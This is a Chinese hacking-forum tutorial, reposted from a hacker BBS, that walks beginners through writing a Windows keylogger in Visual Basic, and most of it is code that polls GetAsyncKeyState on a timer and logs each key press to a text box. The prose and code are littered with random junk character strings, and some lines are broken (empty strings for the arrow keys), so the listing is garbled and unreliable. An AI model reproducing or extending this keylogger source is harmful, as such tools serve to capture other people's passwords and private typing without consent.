手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 版权归黑客基地所有， 转载请注明出处

前几天写了一篇键盘记录器，好多人反映看不懂， v1 K8 G3 t# X0 o6 t& Y2 d0 l5 Q+ ^0 `对新人没什么用处，所以且这篇我会写的 很详细，再也不像那篇，出了代码什么也没 ^!^ 这个程序将会详细的讲解如何记载键盘的每一次输入。 下面介绍的这个程序主要是利用GetAsyncKeyState函数， . }. e0 a7 h2 h& |' g使用GetAsyncKeyState可以获得键盘的动作。 " q8 H( r) ^$ P# o! \1 g0 [GetAsyncKeyState函数根据虚拟键表判断按键的类型。 3 j% M7 T0 D' g! D/ d( \2 U返回值为一个16位的二进值数，如果被按下则最高位为1， 4 `1 Q& e O( Z4 p即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 好了，函数就先介绍这么多，下面开始动手实战了 & m' S; G: S" l& Jfirst,当然是创建窗口了 ! Z; J9 Q( G9 }9 [, f " O6 ~! }: n5 L) @ 0 R, |' q2 H0 ` ! G6 \. F$ @& x& y/ p4 H 在时间控件的Timer时间中定义检查按键类型，代码如下： % |6 E& V% w+ EDim AddKey KeyResult = GetAsyncKeyState(13) '回车键 , o: E# G( ^6 k* o+ I If KeyResult = -32767 Then AddKey = "[ENTER]" & T; |! O+ C6 v% J" \5 O5 e$ o GoTo KeyFound 8 o# |, M$ w8 P L$ ]2 U9 B1 h0 V End If KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then $ @! z- n/ m3 N* G Y! _ AddKey = "[CTRL]" # X6 ]8 R% ~( T; `/ C& o GoTo KeyFound 0 [5 W6 [1 \1 m' l$ g End If 2 k' o2 t; m' V) T5 S, _. ] KeyResult = GetAsyncKeyState(8) '退格键 If KeyResult = -32767 Then , U1 n, \! V7 P6 o2 i+ f# c AddKey = "[BKSPACE]" GoTo KeyFound End If 5 H8 L4 ^% K; D. e2 S" A KeyResult = GetAsyncKeyState(9) : e/ w/ W t# I+ M9 O If KeyResult = -32767 Then 6 a( m3 Z7 e; s# V AddKey = "[TAB]" $ t) f# J; \: v1 h2 n t: P GoTo KeyFound End If & ]+ m+ \ _/ |! z KeyResult = GetAsyncKeyState(18) * y: i+ C# S6 V: ?# I/ U: g If KeyResult = -32767 Then AddKey = "[ALT]" GoTo KeyFound 6 b, q( G: p+ L' ]: k& [: o End If ) w6 C$ e9 h. D' `/ l3 K7 w* f KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then 6 \0 `2 o* a, C0 H; \ AddKey = "[PAUSE]" + g/ V. A, v" Q5 h3 b. D% ] GoTo KeyFound End If ( y$ Y7 _. A3 G1 `; [! {+ C KeyResult = GetAsyncKeyState(20) ; ?" z$ k3 s1 e If KeyResult = -32767 Then AddKey = "[CAPS]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(27) {' O p; {( G9 N" E( y! Q- |( |, P If KeyResult = -32767 Then AddKey = "[ESC]" " ~' K, t, H0 V$ y2 V6 L GoTo KeyFound " W. l- N4 h: Q5 q4 t, ^ End If KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then ) T: V/ T& r P AddKey = "[PGUP]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(34) ; M- X! R: p1 I' x j0 i4 d( ~ If KeyResult = -32767 Then AddKey = "[PGDN]" 9 `6 ]$ N" R+ y GoTo KeyFound 8 h7 E7 E3 N! E$ U/ d8 X7 @) f End If KeyResult = GetAsyncKeyState(35) If KeyResult = -32767 Then AddKey = "[END]" ) ~5 ^5 S$ W! q' _ GoTo KeyFound * U# Y0 }' _7 C+ x# c8 H2 \ End If , W' Q( k7 h6 s8 V$ o$ S( d' N KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then AddKey = "[HOME]" 6 S1 ^& o" x) l/ g9 U/ Y. K GoTo KeyFound End If * G$ f }$ v, X5 A0 a$ {6 U KeyResult = GetAsyncKeyState(44) 8 G4 \% U ~' Q8 P+ V3 i If KeyResult = -32767 Then AddKey = "[SYSRQ]" " ]4 O- d- M# }+ z: G5 I GoTo KeyFound $ ]0 K" r1 r+ V+ l1 U5 q2 q End If 1 K8 v. x( s( S3 Z+ t7 B i% c , O. h# ^) l- F$ q0 Q( H" f" |& R2 j KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then AddKey = "[INS]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then ' U! k# ]8 M$ w! P' k# V AddKey = "[DEL]" GoTo KeyFound End If * U7 s4 t/ Q4 c) V9 u- k0 H1 K) y KeyResult = GetAsyncKeyState(144) " `7 M' y" X+ `; C# [ If KeyResult = -32767 Then , F5 u' E, C! a- C* V. A AddKey = "[NUM]" " f& x" _) K' J! H6 U; d: q GoTo KeyFound 2 Z4 {% F% I5 H) S End If ( W" t, t6 G7 Z; {4 f) L$ W: t; h) a. _ KeyResult = GetAsyncKeyState(37) , \( m& `" y3 r$ {/ o4 } If KeyResult = -32767 Then AddKey = "

" ( T7 j7 A+ r- F6 Z2 W \' e GoTo KeyFound % n6 X) B0 |& Y( S End If . f% J" I4 P1 \! `. Z / z3 X1 z' w7 x6 q% N3 h KeyResult = GetAsyncKeyState(38) + t$ M3 h' w* A3 D# P) r( J( J+ J If KeyResult = -32767 Then & r+ I+ M2 a# A! f AddKey = "[UP]" 1 I ?, E/ H; e! i* f GoTo KeyFound 6 }+ {5 X' ]; V3 J X7 u$ z- l( b End If KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then 6 Q7 B/ V$ E: q7 n AddKey = "

" GoTo KeyFound End If , V1 d- R1 W" l KeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then ' f. b" k) L3 B$ P( U AddKey = "[DOWN]" 5 r' U- R% u- d& r% T GoTo KeyFound End If ( C6 v$ b. ^' {$ e7 ~ 3 I) [. n# J; D8 v2 u; x7 C KeyResult = GetAsyncKeyState(112) 2 Q) r% i/ w5 s& X& r1 o If KeyResult = -32767 Then 3 y9 z, G/ z# U9 F AddKey = "[F1]" 3 o I, H4 \2 L" n% i/ C! r5 _! E GoTo KeyFound End If 8 `& [, [& f- `2 | KeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then AddKey = "[F2]" + z/ ?- f2 M# y/ s4 L3 }! I; B GoTo KeyFound ) k7 {$ B4 h+ d1 h End If / g& b2 Y/ a0 e+ q; U! ?KeyResult = GetAsyncKeyState(114) ) E: X3 {' A6 h; X* E5 V If KeyResult = -32767 Then 7 L& C( ^1 D5 o0 S$ g5 `2 e& D3 o AddKey = "[F3]" GoTo KeyFound - R/ p; ~' S/ Y! t; t4 t: \. f End If h2 Z% r, k" T! H. V" Z9 i2 N$ Q9 n KeyResult = GetAsyncKeyState(115) 5 Z1 m) G3 f$ K2 H( z If KeyResult = -32767 Then AddKey = "[F4]" GoTo KeyFound / n+ x. _# a' ^: k5 N6 Y; A End If , e# k! Z. [2 T5 v 0 A; _( Q5 Z3 I+ M4 QKeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then AddKey = "[F5]" L/ z% l6 Q* ^, J) O8 B3 N5 q GoTo KeyFound + s$ f" Y1 K+ G( C1 k0 |+ m" f End If 5 `; w. l+ \: P4 `6 G' L# G, Y$ l KeyResult = GetAsyncKeyState(117) 5 K5 q( j$ Y3 @5 C/ K If KeyResult = -32767 Then ' Z6 [2 C/ X1 c" l6 P AddKey = "[F6]" GoTo KeyFound * r- q+ z, O5 j* a) S& G End If ; p9 `* A+ ]# H; f9 N0 \0 Z 9 P: t# N9 q. l% N3 MKeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then , {$ a, g D+ ~9 [ AddKey = "[F7]" , ?& a" Q8 q0 z3 ^ GoTo KeyFound End If KeyResult = GetAsyncKeyState(119) & B# S) @& {8 `, g If KeyResult = -32767 Then AddKey = "[F8]" . m3 K0 M, A9 [0 Z$ A! p/ O GoTo KeyFound $ o$ {6 Y0 ]4 S5 h End If , j7 ?$ Z' H6 n B" P! A8 d KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then ! R+ l B! m4 x+ X- R8 I AddKey = "[F9]" . `8 E# T) C5 m* b, R! d GoTo KeyFound End If KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = "[F10]" , E/ ~: v7 d8 y$ N$ U7 b GoTo KeyFound 1 ^0 q( n: K1 r End If 0 |* h8 Y) @7 a5 [0 M0 _4 W7 t 5 k l [, B9 @& DKeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then 2 g' _/ y' g" y! D AddKey = "[F11]" ( Y, }9 D; t# }) _4 g7 B) @ GoTo KeyFound End If W6 ]2 ?4 v- P0 g+ L5 w 8 `6 z; |! |6 y) r$ x+ b& a) aKeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then AddKey = "[F12]" GoTo KeyFound End If " r0 T/ Q$ b. c1 q. x# \ KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then & j* n' ~' a* u( ]! U0 a ?: K AddKey = "[F14]" / K6 ?1 l2 @+ ~ GoTo KeyFound End If ) F) n. g2 L' n 6 T% |8 K) Q" o _) ~" c1 vKeyResult = GetAsyncKeyState(126) & U( g2 i) K! l4 `! M- Y9 G# x If KeyResult = -32767 Then 4 b+ |. |. z: H; Q f4 F M AddKey = "[F15]" GoTo KeyFound 9 Q8 E# m2 F2 e0 O6 h' N% |+ L3 A) y End If $ l/ U& s; D1 ~: H5 j& n! y KeyResult = GetAsyncKeyState(127) ; S- {9 G! d# W; q" q If KeyResult = -32767 Then 7 @2 H) J8 s1 _5 r5 x6 o AddKey = "[F16]" 9 s6 L, K7 H3 i+ {: ` GoTo KeyFound End If 4 P8 v4 Q! f: K' ~+ LKeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then AddKey = " " : d+ h7 z6 D" b2 k/ ? GoTo KeyFound $ F" [: m! h: `/ Y W R End If KeyResult = GetAsyncKeyState(186) 8 ?! ]+ }' G% o* k U% [ M If KeyResult = -32767 Then AddKey = ";" GoTo KeyFound End If Y, J6 X" C% ~- U; V0 x ' m0 C/ T j4 i, s, CKeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then / t, n5 P* X4 P0 m9 d AddKey = "=" GoTo KeyFound End If ) ^$ B3 I8 [1 F2 s, R6 \KeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then AddKey = "," + d9 Y, O& {9 w- p( A) \ GoTo KeyFound End If . a1 z3 e* ?+ h( t( b" LKeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then % x- T3 \4 k, \ AddKey = "-" Q, e2 H, N& |0 \1 b# w3 F9 Q GoTo KeyFound 8 P. O4 P4 s# J! n End If KeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then AddKey = "." GoTo KeyFound 6 U7 {; ]; _) f- T End If KeyResult = GetAsyncKeyState(191) 4 k6 e G0 @0 R7 @; l4 h/ A If KeyResult = -32767 Then 2 I* P% W" O% j b AddKey = "/" '/ ( ]2 A( c; a0 }) L" ~ GoTo KeyFound 1 Q& O$ @3 M1 P6 h# Z0 u End If KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then AddKey = "`" '` 1 |0 V& o7 G/ E, } GoTo KeyFound End If / S( j1 C* q7 A+ o/ G - a+ K' e7 \ q! R, h '----------NUM PAD KeyResult = GetAsyncKeyState(96) 8 }7 N* }0 g+ d3 D( w1 V2 i* G If KeyResult = -32767 Then 9 m* u* O2 a4 x' Z AddKey = "0" GoTo KeyFound End If KeyResult = GetAsyncKeyState(97) If KeyResult = -32767 Then " ~# F9 j$ x0 \# ]1 b4 X AddKey = "1" / p5 b/ L+ b. W1 I. z6 w( W" y; b GoTo KeyFound End If ; n! u( X) C: K5 c6 H 4 t+ C$ M% ^ |/ g1 y+ vKeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then AddKey = "2" $ m: T6 h) D% h GoTo KeyFound End If : u! }4 k1 j. M5 b' q8 ` ) K# ^% L$ @4 Y% t4 e. jKeyResult = GetAsyncKeyState(99) + {$ @) r* ~0 }1 w1 H6 ?6 z If KeyResult = -32767 Then 2 G: f( U4 [8 c/ C AddKey = "3" , x! |) C+ j A6 n/ | GoTo KeyFound End If & X9 r, W- p7 l( l' V KeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then 1 P' k, _& w8 g0 V1 x, p. B" v0 [/ U AddKey = "4" GoTo KeyFound End If ; T6 h! i: X, @5 d/ c: F( A" Z 5 b3 U+ R8 v# IKeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = "5" " Q O2 r3 \, i& ?# E3 V4 U GoTo KeyFound End If ; V$ ~" L$ R- y7 J! z) M1 P N ) H3 ~) L" b- {/ ~, {9 `KeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = "6" GoTo KeyFound End If 0 U [% c7 l/ f1 z3 Z! C; @ KeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then AddKey = "7" GoTo KeyFound & f; B6 N# ^) d s0 z) o End If # D( r7 { _1 z7 @& s; z KeyResult = GetAsyncKeyState(104) % }2 z2 g6 l6 y7 C6 w+ O7 r If KeyResult = -32767 Then 6 t& w9 M L- ~5 |- l AddKey = "8" 2 ?. N1 i) A* |: t9 Y8 T& R: X GoTo KeyFound ' M; I9 Y1 k: A# g3 l4 l$ m End If % R F7 G$ T+ Z" j5 d8 [- h* Y KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" 4 K7 |& g+ A0 g) D GoTo KeyFound 1 y4 x9 f) F, U/ z x End If 3 }+ D, ]& P% x. k2 I+ w. N( h * @2 ~7 d3 @" y6 [ J1 q 9 R q0 N8 p/ {$ ?KeyResult = GetAsyncKeyState(106) * E: A- k* k# |' [; i If KeyResult = -32767 Then AddKey = "*" GoTo KeyFound End If ( p* m4 S- K$ F( |' J6 \! u' t9 _ % G, y% i, N: I3 \4 P/ i1 PKeyResult = GetAsyncKeyState(107) & V: T4 x: z; U9 Q$ H# m6 ^ If KeyResult = -32767 Then ~ A- X* x( f2 q7 b* J AddKey = "+" ) L) D$ j' D u+ a GoTo KeyFound , g8 I J4 {# e# {- @; y1 G. B5 \ End If 4 L' U" @5 w4 w' H: [ H) G R1 ` KeyResult = GetAsyncKeyState(108) - W7 n; i! B4 u8 D5 {( \, ? If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(109) 3 X, X% b0 X$ m If KeyResult = -32767 Then ) m/ x) Q3 E' K AddKey = "-" GoTo KeyFound End If KeyResult = GetAsyncKeyState(110) $ \ Q2 O, Y0 { If KeyResult = -32767 Then ! T! R- m1 u: ?/ T8 U AddKey = "." 5 h9 {9 X4 O. H& ~$ E GoTo KeyFound 7 f) ~( ^; M y: \! T End If 6 |4 _, J% D+ r& S2 Z KeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then AddKey = "/" + |. ^& @3 V, d; H" z& K GoTo KeyFound : I! P* M# O7 F, L End If 8 G7 M3 i5 b" U3 K. C( W, xKeyResult = GetAsyncKeyState(220) If KeyResult = -32767 Then 0 s9 d& J/ u+ S6 p- @ AddKey = "\" GoTo KeyFound + b$ a- P1 r5 z; ]% g* Y, B5 M End If 0 x8 |8 u. u" \6 O! \+ B8 g ! \% L; T' {1 \3 gKeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then AddKey = "'" GoTo KeyFound ' z8 F- L! }/ g" a* @2 c' o3 \9 Y* ` End If ' j6 J! R# z c$ `# FKeyResult = GetAsyncKeyState(221) 9 Y1 r& Z: C5 ^8 [7 }$ ^- e) ~6 k If KeyResult = -32767 Then AddKey = "]" 5 V! t x9 S7 I3 e9 j 9 r4 p$ g5 ?- r. ~, E GoTo KeyFound End If 8 ]7 O" c. i0 u; \ KeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then % K6 e/ v0 C% K1 u1 W( E O, K2 a AddKey = "[" 5 ~8 A. A, ]$ S% [- o3 d' R GoTo KeyFound End If % E- p: @& S8 J; @, P# ^2 [KeyResult = GetAsyncKeyState(16) 'shift键 - l4 W' x L1 j( D$ @ If KeyResult = -32767 And TimeOut = 0 Then AddKey = "[SHIFT]" 8 ~0 W: _0 W# M. T* Y LastKey = AddKey TimeOut = 1 GoTo KeyFound |( K6 `2 j9 }$ \# ^ End If % L. a, U' ^& P% b- z # b- }$ i" ?& ~# P& A! R7 u KeyLoop = 41 : H7 ~# H8 I9 y: p: Z Do Until KeyLoop = 256 ' 显示其他键 ! _/ `" X, E7 Z) |4 O( w( g KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 6 n4 Z! o/ b+ E$ G, ?; G2 t Loop % ? y. m# {1 s d LastKey = AddKey , b, \% ? ?* w! P Exit Sub KeyFound: '显示键的信息 Text1 = Text1 & AddKey 1 T. @/ b% O L6 I: V: M7 QEnd Sub 上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 现提供Ascii表一份供对照 . U1 P; A. m+ T( d7 |http://www.cstudy.cn/repository/ascii/default.htm ! b+ ]2 r2 k/ s7 w' Q3 K; @/ b下面是其他的事件 ! a. L7 T+ w% z& F$ S% S) EPrivate Sub Timer2_Timer() TimeOut = 0 # q; d, f9 U; e# l/ \End Sub 5 k5 M: W. \/ F! m+ v0 b目的是随时刷新清空 2 A6 }! s, b; A% d4 `. B